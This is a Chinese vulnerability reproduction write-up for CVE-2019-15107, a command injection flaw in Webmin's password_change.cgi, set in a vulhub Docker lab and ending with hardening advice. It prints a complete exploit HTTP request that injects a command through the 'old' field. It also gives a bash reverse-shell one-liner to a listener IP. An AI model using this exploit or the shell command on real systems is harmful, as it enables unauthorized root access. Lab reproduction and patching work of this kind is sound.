1、漏洞编号:
CVE-2019-15107
2、漏洞描述:
Webmin是一个用于管理类Unix系统的管理配置工具,具有Web页面。
该漏洞由于password_change.cgi文件在重置密码功能中存在一个代码执行漏洞,该漏洞允许恶意第三方在缺少输入验证的情况下而执行恶意代码。
3、影响版本:
Webmin<=1.920
4、利用方法(利用案例):
(1)环境搭建
环境:webmin 1.910
使用docker搭建,在vulhub项目中有webmin漏洞复现的环境
(2)复现过程
进入https://your-ip:10000,输入任意账户名密码后直接点击登录并利用BP抓包
将如图所示的数据包发送Repeater模块
将数据包修改为下面的内容,然后发送出去
POST /password_change.cgi HTTP/1.1
Host: your-ip:10000
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Cookie: redirect=1; testing=1; sid=x; sessiontest=1
Referer: https://your-ip:10000/session_login.cgi
Content-Type: application/x-www-form-urlencoded
Content-Length: 60user=rootxx&pam=&expired=2&old=test|id&new1=test2&new2=test2
将传输字段改为密码修改所需的字段,即user=&old=&new1=&new2=,需注意这里的user不可以是系统用户root,也可以直接套用EXP,修改完如下图:
此时old字段中是id,获取到的是root用户权限
(3)深度利用
执行反弹shell(这里注意是要在同一个局域网下)
bash -c "bash -i >& /dev/tcp/192.168.137.100/4444 0>&1"
然后修改BP数据包,kali开启监听
kali成功监听到
5、附带文件:
利用Burp suit 抓包
6、加固建议:
(1)更新版本webmin
(2)临时修补方案,找到漏洞代码,将,qx/$in{‘old’}/)代码删除
(3)在github上下载password_change.cgi文件,打补丁
7、参考信息:
https://vulhub.org/#/environments/webmin/CVE-2019-15107/
8、漏洞分类:
远程命令执行漏洞